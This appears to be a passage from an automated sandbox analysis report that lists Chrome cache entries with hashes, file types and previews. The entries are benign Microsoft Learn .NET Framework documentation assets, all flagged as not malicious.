SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
